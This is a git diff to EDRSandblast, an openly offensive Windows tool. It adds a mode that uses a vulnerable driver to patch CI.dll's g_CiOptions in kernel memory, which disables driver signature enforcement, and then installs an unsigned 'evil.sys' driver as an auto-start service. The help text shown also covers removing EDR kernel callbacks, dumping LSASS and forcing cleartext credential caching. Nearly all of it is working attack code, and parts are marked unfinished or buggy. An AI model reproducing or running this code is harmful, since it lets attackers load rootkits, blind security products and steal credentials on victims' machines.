diff --git a/EDRSandblast/EDRSandBlast.h b/EDRSandblast/EDRSandBlast.h index 8100d29..7e79bbe 100644 --- a/EDRSandblast/EDRSandBlast.h +++ b/EDRSandblast/EDRSandBlast.h @@ -8,6 +8,7 @@ typedef enum _START_MODE { credguard, audit, firewall, + load, none } START_MODE; diff --git a/EDRSandblast/EDRSandblast.vcxproj b/EDRSandblast/EDRSandblast.vcxproj index 1393b6e..2fab87c 100644 --- a/EDRSandblast/EDRSandblast.vcxproj +++ b/EDRSandblast/EDRSandblast.vcxproj @@ -167,10 +167,12 @@ + + @@ -200,10 +202,12 @@ + + diff --git a/EDRSandblast/EDRSandblast.vcxproj.filters b/EDRSandblast/EDRSandblast.vcxproj.filters index 1e05813..0f2bf37 100644 --- a/EDRSandblast/EDRSandblast.vcxproj.filters +++ b/EDRSandblast/EDRSandblast.vcxproj.filters @@ -117,9 +117,15 @@ Source Files + + Source Files + Source Files + + Source Files + @@ -233,6 +239,12 @@ Header Files + + Header Files + + + Header Files + Header Files diff --git a/EDRSandblast/Includes/CiOffsets.h b/EDRSandblast/Includes/CiOffsets.h new file mode 100644 index 0000000..fed7fce --- /dev/null +++ b/EDRSandblast/Includes/CiOffsets.h @@ -0,0 +1,37 @@ +/* + +--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory. +--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/ +--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation + +*/ + +#pragma once + +#include + + +enum CiOffsetType { + g_CiOptions = 0, + _SUPPORTED_CI_OFFSETS_END +}; + +union CiOffsets { + // structure version of Ci.dll's offsets + struct { + // Ci.dll's g_CiOptions + DWORD64 g_CiOptions; + } st; + + // array version (usefull for code factoring) + DWORD64 ar[1]; +}; + +union CiOffsets g_ciOffsets; + +// Return the offsets of CI!g_CiOptions for the specific Windows version in use. +void LoadCiOffsetsFromFile(TCHAR* CiOffsetFilename); +void SaveCiOffsetsToFile(TCHAR* CiOffsetFilename); +void LoadCiOffsetsFromInternet(BOOL delete_pdb); +LPTSTR GetCiVersion(); +LPTSTR GetCiPath(); \ No newline at end of file diff --git a/EDRSandblast/Includes/DriverOps.h b/EDRSandblast/Includes/DriverOps.h index f8a89b8..685ff80 100644 --- a/EDRSandblast/Includes/DriverOps.h +++ b/EDRSandblast/Includes/DriverOps.h @@ -23,3 +23,8 @@ BOOL InstallVulnerableDriver(TCHAR* driverPath); BOOL UninstallVulnerableDriver(void); BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName); +// evil driver install +TCHAR* GetEvilDriverServiceName(void); +void SetEvilDriverServiceName(_In_z_ TCHAR* newName); +BOOL InstallEvilDriver(TCHAR* driverPath); +BOOL UninstallEvilDriver(void); \ No newline at end of file diff --git a/EDRSandblast/Includes/KernelCallbacks.h b/EDRSandblast/Includes/KernelCallbacks.h index 4bbebc1..eabeb52 100644 --- a/EDRSandblast/Includes/KernelCallbacks.h +++ b/EDRSandblast/Includes/KernelCallbacks.h @@ -94,3 +94,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers); + +// Helps at locating some DLL in the kernel, for example CI.dll +DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt); diff --git a/EDRSandblast/Includes/KernelDSE.h b/EDRSandblast/Includes/KernelDSE.h new file mode 100644 index 0000000..1f777c7 --- /dev/null +++ b/EDRSandblast/Includes/KernelDSE.h @@ -0,0 +1,11 @@ +#pragma once +#pragma comment(lib, "ntdll.lib") +#define DEFAULT_EVIL_DRIVER_FILE TEXT("evil.sys") + +#if !defined(PRINT_ERROR_AUTO) +#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()) +#endif + +BOOLEAN IsCiEnabled(); +DWORD64 FindCIBaseAddress(BOOL verbose); +BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue); diff --git a/EDRSandblast/Includes/KernelUtils.h b/EDRSandblast/Includes/KernelUtils.h index 0c50a80..8dea929 100644 --- a/EDRSandblast/Includes/KernelUtils.h +++ b/EDRSandblast/Includes/KernelUtils.h @@ -5,3 +5,4 @@ DWORD64 FindNtoskrnlBaseAddress(void); TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset); TCHAR* FindDriverPath(DWORD64 address); DWORD64 GetKernelFunctionAddress(LPCSTR function); +TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset); \ No newline at end of file diff --git a/EDRSandblast/KernellandBypass/KernelCallbacks.c b/EDRSandblast/KernellandBypass/KernelCallbacks.c index a751b58..2eb57ec 100644 --- a/EDRSandblast/KernellandBypass/KernelCallbacks.c +++ b/EDRSandblast/KernellandBypass/KernelCallbacks.c @@ -137,4 +137,4 @@ void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE); -} \ No newline at end of file +} diff --git a/EDRSandblast/KernellandBypass/KernelDSE.c b/EDRSandblast/KernellandBypass/KernelDSE.c new file mode 100644 index 0000000..79430b6 --- /dev/null +++ b/EDRSandblast/KernellandBypass/KernelDSE.c @@ -0,0 +1,61 @@ +#include "windows.h" +#include "KernelDSE.h" +#include "../EDRSandblast.h" +#include "winternl.h" +#include "stdio.h" // for printf +//#include "ntstatus.h" +#include "KernelCallbacks.h" +#include "NtoskrnlOffsets.h" +#include "KernelMemoryPrimitives.h" +#include "KernelUtils.h" +#include "tchar.h" + +#define nullptr ((void*)0) + + BOOLEAN IsCiEnabled() +{ + SYSTEM_CODEINTEGRITY_INFORMATION CiInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) }; + const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation, + &CiInfo, + sizeof(CiInfo), + nullptr); + if (!NT_SUCCESS(Status)) + printf("[-] Failed to query code integrity status: %08X\n", Status); + + return (CiInfo.CodeIntegrityOptions & + (CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED; +} + + DWORD64 FindCIBaseAddress(BOOL verbose) { + DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(CREATE_PROCESS_ROUTINE); + SIZE_T CurrentEDRCallbacksCount = 0; + DWORD64 CiBaseAddress = 0; + DWORD64 driverOffset = 0; + DWORD64 callback = 0; + DWORD64 cbFunction = 0; + TCHAR* driver = NULL; + DWORD64 callback_struct = 0; + for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) { + DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64))); + if (callback_struct != 0) { + callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ? + cbFunction = ReadMemoryDWORD64(callback); + driver = FindDriverName(cbFunction, &driverOffset); + if (_tcscmp(driver, L"CI.dll") == 0) { + CiBaseAddress = cbFunction - driverOffset; + if (verbose) + printf("[+] %s FOUND at %016llx - 0x%llx : 0x%llx\n", driver, cbFunction, driverOffset, CiBaseAddress); + return CiBaseAddress; + } + } + } + return CiBaseAddress; + } + + BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) { + *OldCiOptionsValue = ReadMemoryDWORD64(CiVariableAddress); + //printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue); + WriteMemoryDWORD64(CiVariableAddress, CiOptionsValue); + //printf("[+KERNELDSE] New value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, ReadMemoryDWORD64(CiVariableAddress)); + return TRUE; + } diff --git a/EDRSandblast/KernellandBypass/KernelUtils.c b/EDRSandblast/KernellandBypass/KernelUtils.c index 02f537b..3c3c56c 100644 --- a/EDRSandblast/KernellandBypass/KernelUtils.c +++ b/EDRSandblast/KernellandBypass/KernelUtils.c @@ -105,4 +105,4 @@ DWORD64 GetKernelFunctionAddress(LPCSTR function) { } // _tprintf_or_not(TEXT("[+] %s address: 0x%I64x\n"), function, address); return address; -} \ No newline at end of file +} diff --git a/EDRSandblast/Utils/CiOffsets.c b/EDRSandblast/Utils/CiOffsets.c new file mode 100644 index 0000000..9b99727 --- /dev/null +++ b/EDRSandblast/Utils/CiOffsets.c @@ -0,0 +1,107 @@ +/* + +--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory. +--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/ +--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation + +*/ + +#include +#include + +#include "../EDRSandblast.h" +#include "FileVersion.h" +#include "PdbSymbols.h" + +#include "CiOffsets.h" + +union CiOffsets g_ciOffsets = { 0 }; + +// Return the offsets of CI!g_CiOptions for the specific Windows version in use. +void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) { + LPTSTR ciVersion = GetCiVersion(); + _tprintf_or_not(TEXT("[*] System's ci.dll file version is: %s\n"), ciVersion); + + FILE* offsetFileStream = NULL; + _tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("r")); + + if (offsetFileStream == NULL) { + _putts_or_not(TEXT("[!] Ci offsets CSV file not found / invalid. A valid offset file must be specifed!")); + return; + } + + TCHAR lineCiVersion[256]; + TCHAR line[2048]; + while (_fgetts(line, _countof(line), offsetFileStream)) { + TCHAR* dupline = _tcsdup(line); + TCHAR* tmpBuffer = NULL; + _tcscpy_s(lineCiVersion, _countof(lineCiVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer)); + if (_tcscmp(ciVersion, lineCiVersion) == 0) { + TCHAR* endptr; + _tprintf_or_not(TEXT("[+] Offsets are available for this version of ci.dll (%s)!"), ciVersion); + for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) { + g_ciOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16); + } + break; + } + } + fclose(offsetFileStream); +} + +void SaveCiOffsetsToFile(TCHAR* ciOffsetFilename) { + LPTSTR ciVersion = GetCiVersion(); + + FILE* offsetFileStream = NULL; + _tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("a")); + + if (offsetFileStream == NULL) { + _putts_or_not(TEXT("[!] CI offsets CSV file cannot be opened")); + return; + } + + _ftprintf(offsetFileStream, TEXT("%s"), ciVersion); + for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) { + _ftprintf(offsetFileStream, TEXT(",%llx"), g_ciOffsets.ar[i]); + } + _fputts(TEXT(""), offsetFileStream); + + fclose(offsetFileStream); +} + + +void LoadCiOffsetsFromInternet(BOOL delete_pdb) { + LPTSTR ciPath = GetCiPath(); + symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(ciPath); + if (sym_ctx == NULL) { + return; + } + g_ciOffsets.st.g_CiOptions = GetSymbolOffset(sym_ctx, "g_CiOptions"); + UnloadSymbols(sym_ctx, delete_pdb); +} + +TCHAR g_ciPath[MAX_PATH] = { 0 }; +LPTSTR GetCiPath() { + if (_tcslen(g_ciPath) == 0) { + // Retrieves the system folder (eg C:\Windows\System32). + TCHAR systemDirectory[MAX_PATH] = { 0 }; + GetSystemDirectory(systemDirectory, _countof(systemDirectory)); + + // Compute ci.dll path. + _tcscat_s(g_ciPath, _countof(g_ciPath), systemDirectory); + _tcscat_s(g_ciPath, _countof(g_ciPath), TEXT("\\ci.dll")); + } + return g_ciPath; +} + +TCHAR g_ciVersion[256] = { 0 }; +LPTSTR GetCiVersion() { + if (_tcslen(g_ciVersion) == 0) { + LPTSTR ciPath = GetCiPath(); + + TCHAR versionBuffer[256] = { 0 }; + GetFileVersion(versionBuffer, _countof(versionBuffer), ciPath); + + _stprintf_s(g_ciVersion, 256, TEXT("ci_%s.dll"), versionBuffer); + } + return g_ciVersion; +} diff --git a/EDRSandblast/Utils/DriverOps.c b/EDRSandblast/Utils/DriverOps.c index 32fa2e8..815583e 100644 --- a/EDRSandblast/Utils/DriverOps.c +++ b/EDRSandblast/Utils/DriverOps.c @@ -115,3 +115,55 @@ BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) { } return isRunning; } + +/* + +--- Evil driver install / uninstall functions. + +*/ + +TCHAR* g_evilDriverServiceName; + +TCHAR* GetEvilDriverServiceName(void) { + if (!g_evilDriverServiceName || _tcslen(g_evilDriverServiceName) == 0) { + g_evilDriverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH); + } + return g_evilDriverServiceName; +} + +void SetEvilDriverServiceName(_In_z_ TCHAR* newName) { + if (g_evilDriverServiceName) { + free(g_evilDriverServiceName); + } + g_evilDriverServiceName = _tcsdup(newName); + + if (!g_evilDriverServiceName) { + _putts_or_not(TEXT("[!] Error while attempting to set the service name.")); + return; + } +} + +BOOL InstallEvilDriver(TCHAR* driverPath) { + TCHAR* svcName = GetEvilDriverServiceName(); + + DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE); + + if (status == 0x00000005) { + _putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?")); + } + _tprintf_or_not(TEXT("[!] The evil service should be manually deleted when you are done with it : \ncmd /c sc stop %s\ncmd /c sc delete %s\n"), GetEvilDriverServiceName()); + + return status == 0x0; +} + +BOOL UninstallEvilDriver(void) { + TCHAR* svcName = GetEvilDriverServiceName(); + + BOOL status = ServiceUninstall(svcName, 0); + + if (!status) { + PRINT_ERROR_AUTO(TEXT("ServiceUninstall")); + } + + return status; +} \ No newline at end of file diff --git a/EDRSandblast_CLI/EDRSandblast.c b/EDRSandblast_CLI/EDRSandblast.c index b990551..86400f1 100644 --- a/EDRSandblast_CLI/EDRSandblast.c +++ b/EDRSandblast_CLI/EDRSandblast.c @@ -27,6 +27,8 @@ #include "Undoc.h" #include "UserlandHooks.h" #include "WdigestOffsets.h" +#include "CiOffsets.h" +#include "KernelDSE.h" #include "../EDRSandblast/EDRSandblast.h" @@ -74,7 +76,11 @@ BOOL WasRestarted() { int _tmain(int argc, TCHAR** argv) { // Parse command line arguments and initialize variables to default values if needed. - const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] [--usermode [--unhook-method ] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] [--driver ] [--service ] [--nt-offsets ] [--wdigest-offsets ] [--add-dll ]* [-o | --dump-output ]"); + const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] \n\ +[--usermode [--unhook-method ] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] \n\ +[--driver ] [--service ] [--nt-offsets ] \n\ +[--wdigest-offsets ] [--add-dll ]* [-o | --dump-output ] \n\ +--internet"); const TCHAR extendedUsage[] = TEXT("\n\ -h | --help Show this help message and exit.\n\ -v | --verbose Enable a more verbose output.\n\ @@ -88,6 +94,7 @@ Actions mode:\n\ \tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\ \t Credential Guard is enabled on the host. No kernel-land actions required.\n\ \tfirewall Add Windows firewall rules to block network access for the EDR processes / services.\n\ +\tload Load the specified unsigned driver.\n\ \n\ --usermode Perform user-land operations (DLL unhooking).\n\ --kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\ @@ -119,6 +126,8 @@ Other options:\n\ \n\ --driver Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\ Default to 'RTCore64.sys' in the current directory.\n\ +--unsigned-driver Path to the unsigned driver file.\n\ + Default to 'evil.sys' in the current directory.\n\ --service Name of the vulnerable service to intall / start.\n\ \n\ --nt-offsets Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\ @@ -153,9 +162,12 @@ Other options:\n\ START_MODE startMode = none; TCHAR driverPath[MAX_PATH] = { 0 }; + TCHAR unsignedDriverPath[MAX_PATH] = { 0 }; TCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE; + TCHAR evilDriverDefaultName[] = DEFAULT_EVIL_DRIVER_FILE; TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 }; + TCHAR CiOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR processName[] = TEXT("lsass.exe"); TCHAR outputPath[MAX_PATH] = { 0 }; BOOL verbose = FALSE; @@ -191,6 +203,9 @@ Other options:\n\ else if (_tcsicmp(argv[i], TEXT("firewall")) == 0) { startMode = firewall; } + else if (_tcsicmp(argv[i], TEXT("load")) == 0) { + startMode = load; + } else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) { _putts_or_not(usage); _putts_or_not(extendedUsage); @@ -219,6 +234,14 @@ Other options:\n\ } _tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i])); } + else if (_tcsicmp(argv[i], TEXT("--unsigned-driver")) == 0) { + i++; + if (i > argc) { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + _tcsncpy_s(unsignedDriverPath, _countof(unsignedDriverPath), argv[i], _tcslen(argv[i])); + } else if (_tcsicmp(argv[i], TEXT("--service")) == 0) { i++; if (i > argc) { @@ -320,7 +343,10 @@ Other options:\n\ if (startMode == dump && !kernelMode) { _putts_or_not(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n")); } - + if (startMode == load && !kernelMode) { + _putts_or_not(TEXT("'load' mode needs kernel-land DSE disabling operation to work, please enable --kernelmode")); + return EXIT_FAILURE; + } // TODO: set isSafeToExecutePayloadUserland by unhook to TRUE / FALSE if there are still hooks. BOOL isSafeToExecutePayloadUserland = TRUE; BOOL isSafeToExecutePayloadKernelland = TRUE; @@ -631,6 +657,106 @@ Other options:\n\ FirewallPrintManualDeletion(&sFWEntries); break; } + // Load an unsigned kernel driver. + case load: + { + if (_tcslen(CiOffsetCSVPath) == 0) { + TCHAR CiOffsetCSVName[] = TEXT("\\CiOffsets.csv"); + _tcsncat_s(CiOffsetCSVPath, _countof(CiOffsetCSVPath), currentFolderPath, _countof(currentFolderPath)); + _tcsncat_s(CiOffsetCSVPath, _countof(CiOffsetCSVPath), CiOffsetCSVName, _countof(CiOffsetCSVName)); + } + + if (FileExists(CiOffsetCSVPath)) { + LoadCiOffsetsFromFile(CiOffsetCSVPath); + if (g_ciOffsets.st.g_CiOptions == 0x0) { + _putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of ci in use.")); + } + else { + if (verbose) { + _tprintf_or_not(TEXT("[+] g_CiOptions offset found using %s file : 0x%llx\n"), CiOffsetCSVPath, g_ciOffsets.st.g_CiOptions); + } + } + } + + if (internet && (g_ciOffsets.st.g_CiOptions == 0x0)) { + _putts_or_not(TEXT("[+] Downloading ci related offsets from the MS Symbol Server (will drop a .pdb file in current directory)")); +#if _DEBUG + LoadCiOffsetsFromInternet(FALSE); +#else + LoadCiOffsetsFromInternet(TRUE); +#endif + if (g_ciOffsets.st.g_CiOptions == 0x0) { + _putts_or_not(TEXT("[-] Downloading offsets from the internet failed !")); + + } + else { + _putts_or_not(TEXT("[+] Downloading offsets succeeded !")); + if (FileExists(CiOffsetCSVPath)) { + _putts_or_not(TEXT("[+] Saving them to the CSV file...")); + SaveCiOffsetsToFile(CiOffsetCSVPath); + } + } + if (verbose) { + _tprintf_or_not(TEXT("[+] g_CiOptions offset found using internet MS Symbol Server : 0x%llx\n"), g_ciOffsets.st.g_CiOptions); + } + } + + if (g_ciOffsets.st.g_CiOptions == 0x0) { + _putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file (or use --internet). Unsigned driver won't be loaded ...\n")); + lpExitCode = EXIT_FAILURE; + } + else { + _putts_or_not(TEXT("")); + if (kernelMode) { + DWORD64 CiBaseAddress = 0; + DWORD64 g_CiOptionsAddress = 0; + if (IsCiEnabled() | !IsCiEnabled()) // FIX IT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + { + CiBaseAddress = FindCIBaseAddress(verbose); + if (!CiBaseAddress) { + _putts_or_not(TEXT("[-] CI base address not found !\n")); + } + else{ + g_CiOptionsAddress=CiBaseAddress + g_ciOffsets.st.g_CiOptions; + if (verbose) + _tprintf_or_not(TEXT("[+] CI.dll kernel base address found at 0x%llx. The g_CiOptions is at %llx !\n"), CiBaseAddress, g_CiOptionsAddress); + if (_tcslen(unsignedDriverPath) == 0) { + PathAppend(unsignedDriverPath, currentFolderPath); + PathAppend(unsignedDriverPath, evilDriverDefaultName); + } + if (!FileExists(unsignedDriverPath)) { + _tprintf_or_not(TEXT("[!] Required driver file not present at %s\nExiting...\n"), unsignedDriverPath); + return EXIT_FAILURE; + } + _putts_or_not(TEXT("[+] Using the vulnerable driver to disable CI...")); // debug print + ULONG CiOptionsValue=0; + PULONG OldCiOptionsValue; + patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, &OldCiOptionsValue); + LPTSTR evilServiceNameIfAny = NULL; + BOOL isEvilDriverAlreadyRunning = IsDriverServiceRunning(unsignedDriverPath, &evilServiceNameIfAny); + if (isEvilDriverAlreadyRunning) { + _putts_or_not(TEXT("[+] Evil driver is already running!\n")); + SetEvilDriverServiceName(evilServiceNameIfAny); + } + else { + _putts_or_not(TEXT("[+] Installing evil driver...")); + status = InstallEvilDriver(unsignedDriverPath); + if (status != TRUE) + _putts_or_not(TEXT("[!] An error occurred while installing the evil driver")); + } + _putts_or_not(TEXT("[+] Using the vulnerable driver to reset original CI status")); // debug print + patch_gCiOptions(g_CiOptionsAddress, *OldCiOptionsValue, &OldCiOptionsValue); + } + } + else { + // CI is already disabled, just load the driver + _putts_or_not(TEXT("[-] CI is already disabled!\n")); // debug print + } + } + } + // END WIP + break; + } } _putts_or_not(TEXT("")); } diff --git a/Offsets/CiOffsets.csv b/Offsets/CiOffsets.csv index a717e54..46312d5 100644 --- a/Offsets/CiOffsets.csv +++ b/Offsets/CiOffsets.csv @@ -182,5 +182,5 @@ ci_22621-590.dll,41004 ci_22621-608.dll,41004 ci_22621-815.dll,41004 ci_22621-675.dll,41004 -ci_19041-2075.dll,3a438 -ci_19045-2364.dll,39418 +ci_19041-2075.dll,3a438 +ci_19041-2364.dll,39418 diff --git a/Offsets/NtoskrnlOffsets.csv b/Offsets/NtoskrnlOffsets.csv index f3bd2e1..4e699eb 100644 --- a/Offsets/NtoskrnlOffsets.csv +++ b/Offsets/NtoskrnlOffsets.csv @@ -517,3 +517,4 @@ ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8 ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50,34d030,34d048,c8 ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38,16002c,160028,80 ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50,22c020,22c040,228 +ntoskrnl_19041-2364.exe,cec460,cec260,cec060,87a,c197d8,20,60,cfc410,cfc440,c8